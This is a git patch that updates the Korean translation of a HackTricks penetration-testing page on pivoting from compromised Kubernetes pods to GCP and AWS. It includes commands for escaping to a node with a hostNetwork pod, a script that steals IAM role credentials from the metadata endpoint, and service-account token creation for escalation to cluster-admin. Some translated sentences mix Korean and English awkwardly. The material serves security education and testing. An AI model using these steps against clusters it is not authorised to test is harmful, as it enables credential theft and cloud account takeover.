From 9af5d2e5c386b16e1dc14b669f192c492887c361 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 18:03:06 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv --- .../kubernetes-pivoting-to-clouds.md | 136 ++++++++++-------- 1 file changed, 78 insertions(+), 58 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index 066fa960a..248a1cbf6 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -1,65 +1,65 @@ -# Kubernetes Pivoting to Clouds +# Kubernetes로 클라우드로 피벗하기 {{#include ../../banners/hacktricks-training.md}} ## GCP -GCP 내에서 k8s 클러스터를 실행하는 경우 클러스터 내에서 실행되는 일부 애플리케이션이 GCP에 접근할 수 있기를 원할 것입니다. 이를 수행하는 일반적인 방법은 2가지가 있습니다: +만약 GCP 내부에서 k8s cluster를 운영하고 있다면, 클러스터 내부에서 실행되는 어떤 애플리케이션이 GCP에 접근할 수 있게 하고 싶을 가능성이 높습니다. 이를 위한 일반적인 방법은 2가지가 있습니다: -### GCP-SA 키를 비밀로 마운트하기 +### GCP-SA 키를 secret으로 마운트하기 -**kubernetes 애플리케이션에 GCP 접근 권한을 부여하는** 일반적인 방법은 다음과 같습니다: +kubernetes 애플리케이션에 GCP 접근 권한을 부여하는 일반적인 방법은 다음과 같습니다: -- GCP 서비스 계정 생성 -- 원하는 권한을 바인딩 -- 생성된 SA의 json 키 다운로드 -- pod 내에서 비밀로 마운트 -- json이 있는 경로를 가리키는 GOOGLE_APPLICATION_CREDENTIALS 환경 변수를 설정 +- Create a GCP Service Account +- Bind on it the desired permissions +- Download a json key of the created SA +- Mount it as a secret inside the pod +- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is. > [!WARNING] -> 따라서 **공격자**로서 pod 내의 컨테이너를 손상시키면 해당 **env** **변수**와 GCP 자격 증명이 포함된 **json** **파일**을 확인해야 합니다. +> 따라서, **attacker**로서 pod 내부의 컨테이너를 탈취한 경우, GCP 자격증명이 포함된 해당 **env** **variable**과 **json** **files**를 확인해야 합니다. -### GSA json을 KSA 비밀에 연결하기 +### GSA json을 KSA secret에 연동하기 -GKE 클러스터에 GSA 접근 권한을 부여하는 방법은 다음과 같이 바인딩하는 것입니다: +GSA에 GKE cluster 접근 권한을 부여하는 한 방법은 다음과 같이 바인딩하는 것입니다: -- 다음 명령을 사용하여 GKE 클러스터와 동일한 네임스페이스에 Kubernetes 서비스 계정을 생성: +- 다음 명령어를 사용해 GKE cluster와 동일한 namespace에 Kubernetes service account를 생성: ```bash -Copy codekubectl create serviceaccount +kubectl create serviceaccount ``` -- GKE 클러스터에 접근 권한을 부여할 GCP 서비스 계정의 자격 증명을 포함하는 Kubernetes Secret을 생성합니다. 다음 예제와 같이 `gcloud` 명령줄 도구를 사용하여 이 작업을 수행할 수 있습니다: +- GKE 클러스터에 접근 권한을 부여하려는 GCP 서비스 계정의 자격 증명을 포함하는 Kubernetes Secret을 생성합니다. 아래 예시와 같이 `gcloud` 명령줄 도구를 사용하여 수행할 수 있습니다: ```bash -Copy codegcloud iam service-accounts keys create .json \ +gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- 다음 명령어를 사용하여 Kubernetes Secret을 Kubernetes 서비스 계정에 바인딩합니다: +- 다음 명령으로 Kubernetes Secret을 Kubernetes service account에 바인딩합니다: ```bash -Copy codekubectl annotate serviceaccount \ +kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> **두 번째 단계**에서 **KSA의 비밀로 GSA의 자격 증명**이 설정되었습니다. 그런 다음, **GKE** 클러스터 **내부**에서 **그 비밀을 읽을 수** 있다면, **해당 GCP 서비스 계정으로 상승할 수** 있습니다. +> 두 번째 단계에서는 **GSA의 자격 증명이 KSA의 시크릿으로 설정**되었습니다. 그러므로, 만약 **GKE** 클러스터 **내부에서 그 시크릿을 읽을 수 있다면**, 당신은 **해당 GCP service account로 권한 상승**할 수 있습니다. ### GKE Workload Identity -Workload Identity를 사용하면 [Kubernetes 서비스 계정](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)을 [Google 서비스 계정](https://cloud.google.com/iam/docs/understanding-service-accounts)으로 작동하도록 구성할 수 있습니다. Kubernetes 서비스 계정으로 실행되는 Pods는 Google Cloud API에 접근할 때 자동으로 Google 서비스 계정으로 인증됩니다. +Workload Identity를 사용하면 a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)를 a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts)로 동작하도록 구성할 수 있습니다. Kubernetes service account로 실행되는 Pods는 Google Cloud APIs에 접근할 때 자동으로 Google service account로 인증됩니다. -이 동작을 활성화하기 위한 **첫 번째 일련의 단계**는 **GCP에서 Workload Identity를 활성화**하는 것 ([**단계**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c))과 k8s가 가장하고자 하는 GCP SA를 생성하는 것입니다. +이 동작을 활성화하기 위한 **첫 번째 일련의 단계**는 **GCP에서 Workload Identity를 활성화하는 것** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c))과 k8s가 가장할 GCP SA를 생성하는 것입니다. -- **새 클러스터에서 Workload Identity 활성화** +- 새 클러스터에서 **Workload Identity 활성화** ```bash gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **새 노드풀 생성/업데이트** (오토파일럿 클러스터는 필요하지 않음) +- **새 nodepool 생성/업데이트** (Autopilot clusters don't need this) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- K8s에서 GCP 권한으로 **가짜로 사용할 GCP 서비스 계정 생성**: +- K8s에서 GCP 권한으로 가장할 **GCP Service Account** 생성: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **클러스터**에 **연결**하고 사용할 **서비스 계정**을 **생성**합니다. +- **클러스터**에 **연결**하고 사용할 **서비스 계정**을 **생성**합니다 ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **GSA를 KSA와 연결하기** +- **GSA를 KSA에 바인딩하기** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> K8s 내부의 공격자로서 **`iam.gke.io/gcp-service-account` 주석**이 있는 **SAs를 검색해야** 합니다. 이는 SA가 GCP의 무언가에 접근할 수 있음을 나타냅니다. 또 다른 옵션은 클러스터 내의 각 KSA를 남용해보고 접근 권한이 있는지 확인하는 것입니다.\ -> GCP에서 바인딩을 나열하고 **Kubernetes 내 SAs에 어떤 접근 권한을 부여하고 있는지 아는 것은 항상 흥미롭습니다**. +> K8s 내부의 attacker로서 **SAs** 중 **`iam.gke.io/gcp-service-account` annotation**이 있는 것을 찾아야 합니다. 이는 해당 SA가 GCP에서 무언가에 접근할 수 있음을 나타냅니다. 다른 방법으로는 클러스터의 각 KSA를 악용해 접근 권한이 있는지 확인하는 것입니다.\ +> GCP에서는 바인딩을 열거해서 **Kubernetes 내부의 SAs에 어떤 접근을 부여하고 있는지** 파악하는 것이 항상 흥미롭습니다. -이것은 **주석**을 찾기 위해 **모든 포드** 정의를 쉽게 **반복하는** 스크립트입니다: +이 스크립트는 쉽게 **모든 pods를 순회(iterate over the all the pods)** 정의를 **검사(looking)** 하여 해당 **annotation**을 찾기 위한 것입니다: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -139,11 +139,11 @@ done | grep -B 1 "gcp-service-account" ``` ## AWS -### Kiam & Kube2IAM (Pods를 위한 IAM 역할) +### Kiam & Kube2IAM (IAM role for Pods) -Pods에 IAM 역할을 부여하는 (구식) 방법은 [**Kiam**](https://github.com/uswitch/kiam) 또는 [**Kube2IAM**](https://github.com/jtblin/kube2iam) **서버**를 사용하는 것입니다. 기본적으로 클러스터에서 **특권 IAM 역할**의 **데몬셋**을 실행해야 합니다. 이 데몬셋이 필요한 Pods에 IAM 역할에 대한 접근을 제공합니다. +구식 방법으로 Pods에 IAM Roles를 부여하는 한 가지 방법은 [**Kiam**](https://github.com/uswitch/kiam) 또는 [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server**를 사용하는 것입니다. 기본적으로 클러스터에서 **daemonset**을 실행해야 하며, 해당 daemonset은 일종의 **privileged IAM role**을 가지고 있어야 합니다. 이 daemonset이 필요한 Pod들에게 IAM roles 접근 권한을 부여하는 역할을 합니다. -우선 **네임스페이스 내에서 어떤 역할에 접근할 수 있는지** 구성해야 하며, 이는 네임스페이스 객체 내의 주석을 통해 수행합니다: +우선 **which roles can be accessed inside the namespace**를 구성해야 하며, 이는 namespace 객체 내부의 annotation으로 설정합니다: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -네임스페이스가 IAM 역할로 구성되면, Pods는 **각 pod 정의에서 원하는 역할을 다음과 같이 지정할 수 있습니다**: +namespace가 Pods가 가질 수 있는 IAM roles로 구성되면, 각 pod definition에서 원하는 역할을 **다음과 같이 지정할 수 있습니다**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> 공격자로서, 만약 당신이 **이 주석들**을 pods나 namespaces에서 발견하거나 실행 중인 kiam/kube2iam 서버(아마 kube-system에서)를 발견한다면, 당신은 **pods**에 의해 이미 **사용되는 모든 r**ole을 **가장할 수** 있으며, 더 많은 것들(만약 AWS 계정에 접근할 수 있다면 역할을 나열할 수 있습니다). +> 공격자라면, pods 또는 namespaces에서 이러한 애노테이션을 **발견할 경우**, 또는 kiam/kube2iam 서버가 실행 중(대부분 kube-system에 있음)이라면, 이미 pods에서 **사용되는 모든 역할을 가장(impersonate)**할 수 있고 그 이상도 가능합니다 (AWS 계정에 접근할 수 있다면 역할들을 열거(enumerate)하세요). -#### IAM 역할로 Pod 생성 +#### IAM Role을 가진 Pod 생성 > [!NOTE] -> 지정해야 할 IAM 역할은 kiam/kube2iam 역할과 동일한 AWS 계정에 있어야 하며, 그 역할은 이를 접근할 수 있어야 합니다. +> 지정할 IAM role은 kiam/kube2iam role과 동일한 AWS 계정에 있어야 하며, 해당 role이 접근할 수 있어야 합니다. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Role for K8s Service Accounts via OIDC +### OIDC를 통한 K8s Service Accounts용 IAM Role -이것은 **AWS에서 권장하는 방법**입니다. +이는 **AWS가 권장하는 방법**입니다. -1. 먼저 [클러스터에 대한 OIDC 공급자를 생성해야 합니다](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). -2. 그런 다음 SA가 필요로 하는 권한으로 IAM 역할을 생성합니다. -3. [IAM 역할과 SA 간의 신뢰 관계를 생성합니다](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (또는 역할에 대한 모든 SA에 접근을 허용하는 네임스페이스). _신뢰 관계는 주로 OIDC 공급자 이름, 네임스페이스 이름 및 SA 이름을 확인합니다_. -4. 마지막으로, **역할의 ARN을 나타내는 주석이 있는 SA를 생성하고**, 해당 SA로 실행되는 파드는 **역할의 토큰에 접근할 수 있습니다**. **토큰**은 **파일에 기록되며** 경로는 **`AWS_WEB_IDENTITY_TOKEN_FILE`**에 지정됩니다 (기본값: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +1. 먼저 [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). +2. 그런 다음 SA가 필요로 하는 권한을 가진 IAM role을 생성합니다. +3. IAM role과 SA 간의 [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)를 생성하세요 (또는 namespace들이 해당 namespace의 모든 SAs에 role 접근 권한을 부여하도록). _Trust relationship은 주로 OIDC provider name, namespace name 및 SA name을 확인합니다_. +4. 마지막으로, **ARN을 가리키는 annotation을 가진 SA를 생성**하면 그 SA로 실행되는 pods는 해당 role의 **token에 접근**할 수 있습니다. **token**은 파일에 **쓰기**되며 경로는 **`AWS_WEB_IDENTITY_TOKEN_FILE`**에 지정되어 있습니다 (기본값: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> 공격자로서 K8s 클러스터를 열거할 수 있다면, **AWS로 상승하기 위해 해당 주석이 있는 서비스 계정**을 확인하십시오. 그렇게 하려면, IAM **특권 서비스 계정** 중 하나를 사용하여 **pod**를 **exec/create**하고 토큰을 훔치면 됩니다. +> 공격자로서 K8s 클러스터를 열거할 수 있다면, **해당 어노테이션이 있는 서비스 계정**을 확인하여 **AWS로 권한 상승**을 시도하라. 이를 위해, IAM의 **privileged 서비스 계정** 중 하나를 사용해 **pod**를 **exec/create**하고 토큰을 탈취하면 된다. > -> 또한, pod 내부에 있는 경우 **AWS_ROLE_ARN** 및 **AWS_WEB_IDENTITY_TOKEN**과 같은 환경 변수를 확인하십시오. +> 또한, pod 내부에 있다면 **AWS_ROLE_ARN** 및 **AWS_WEB_IDENTITY_TOKEN** 같은 환경 변수(env variables)를 확인하라. > [!CAUTION] -> 때때로 **역할의 신뢰 정책**이 **잘못 구성**되어 예상되는 서비스 계정에 AssumeRole 액세스를 제공하는 대신 **모든 서비스 계정**에 제공할 수 있습니다. 따라서 제어된 서비스 계정에 주석을 작성할 수 있다면, 해당 역할에 접근할 수 있습니다. +> 때때로 역할의 **Turst Policy**가 **잘못 구성되어** 예상된 서비스 계정에 AssumeRole 권한을 주는 대신 **모든 서비스 계정**에 권한을 부여할 수 있다. 따라서 제어 가능한 서비스 계정에 어노테이션을 쓸 수 있다면 해당 role에 접근할 수 있다. > -> **자세한 정보는 다음 페이지를 확인하십시오**: +> 자세한 내용은 **다음 페이지를 확인**하라: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### 클러스터에서 IAM 역할이 있는 Pods 및 SAs 찾기 +### 클러스터에서 IAM Roles를 가진 Pods와 SAs 찾기 -이 스크립트는 **모든 pod 및 sa** 정의를 쉽게 **반복**하여 해당 **주석**을 찾습니다: +이는 해당 어노테이션을 찾기 위해 모든 pods와 sas 정의를 손쉽게 반복(iterate)하는 스크립트이다: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -253,19 +253,26 @@ echo "" done done | grep -B 1 "amazonaws.com" ``` -### Node IAM Role +### Node IAM Role to cluster-admin -이전 섹션은 pods로 IAM Roles를 훔치는 방법에 대한 것이었지만, **K8s 클러스터의 Node는 클라우드 내의 인스턴스가 될 것**이라는 점에 유의해야 합니다. 이는 Node가 **훔칠 수 있는 새로운 IAM 역할을 가질 가능성이 높다는 것을 의미합니다** (_일반적으로 K8s 클러스터의 모든 노드는 동일한 IAM 역할을 가지므로 각 노드를 확인하려고 시도하는 것이 그다지 가치가 없을 수 있습니다_). +이전 섹션은 pods로 IAM Roles를 탈취하는 방법에 관한 것이었지만, **Node of the** K8s cluster is going to be an **instance inside the cloud** 라는 점을 유의하라. 이는 Node가 **have an IAM role you can steal** 가능성이 매우 높다는 것을 의미한다 (_보통 K8s 클러스터의 모든 노드가 동일한 IAM role을 가지므로, 각 노드를 일일이 확인하는 것은 가치가 없을 수 있다_). -그러나 노드의 메타데이터 엔드포인트에 접근하기 위한 중요한 요구 사항이 있습니다. 노드에 있어야 하거나 (ssh 세션?) 최소한 동일한 네트워크에 있어야 합니다: +node metadata endpoint에 접근하려면 다음이 필요하다: +- pod에 있어야 하며 metadata endpoint가 적어도 2 tcp hops로 구성되어 있어야 한다. 이는 가장 흔한 잘못된 구성으로, 보통 클러스터 내의 서로 다른 pods가 정상 동작을 위해 metadata endpoint 접근을 필요로 하고 여러 회사가 클러스터의 모든 pods에서 metadata endpoint 접근을 허용하도록 그냥 결정하기 때문이다. +- `hostNetwork`가 활성화된 pod에 있어야 한다. +- node로 탈출하여 metadata endpoint에 직접 접근해야 한다. + +(참고: metadata endpoint는 언제나처럼 169.254.169.254에 있다). + +`hostNetwork`가 활성화된 pod를 실행하여 **escape to the node** 하는 데 다음 명령을 사용할 수 있다: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### IAM 역할 토큰 훔치기 +### Steal IAM Role Token -이전에는 **IAM 역할을 Pods에 연결하는 방법**이나 **인스턴스에 연결된 IAM 역할을 훔치기 위해 노드로 탈출하는 방법**에 대해 논의했습니다. +이전에 우리는 **attach IAM Roles to Pods** 하는 방법이나, 심지어 인스턴스에 연결된 것을 훔치기 위해 **escape to the Node to steal the IAM Role** 하는 방법에 대해 논의했습니다. -다음 스크립트를 사용하여 **새로 열심히 작업한 IAM 역할 자격 증명**을 **훔칠** 수 있습니다: +다음 스크립트를 사용하면 새로 힘들게 얻은 당신의 **IAM role credentials**을 **steal** 할 수 있습니다: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -276,7 +283,20 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE fi fi ``` -## 참고문헌 +### Privesc to cluster-admin + +요약: 파드에서 **EKS Node IAM role**에 접근할 수 있다면, **compromise the full kubernetes cluster**가 가능합니다. + +For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). As summary, the default IAM EKS role that is assigned to the EKS nodes by default is assigned the role `system:node` inside the cluster. This role is very interesting although is limited by the kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). + +그러나 노드는 항상 노드 내부의 파드에서 실행되는 service accounts에 대한 토큰을 생성할 수 있습니다. 따라서 노드가 privileged service account를 가진 파드를 실행 중이라면, 노드는 해당 service account를 위한 토큰을 생성하여 그 service account를 가장(impersonate)하는 데 사용할 수 있습니다. 예: +```bash +kubectl --context=node1 create token -n ns1 sa-priv \ +--bound-object-kind=Pod \ +--bound-object-name=pod-priv \ +--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d +``` +## 참고자료 - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)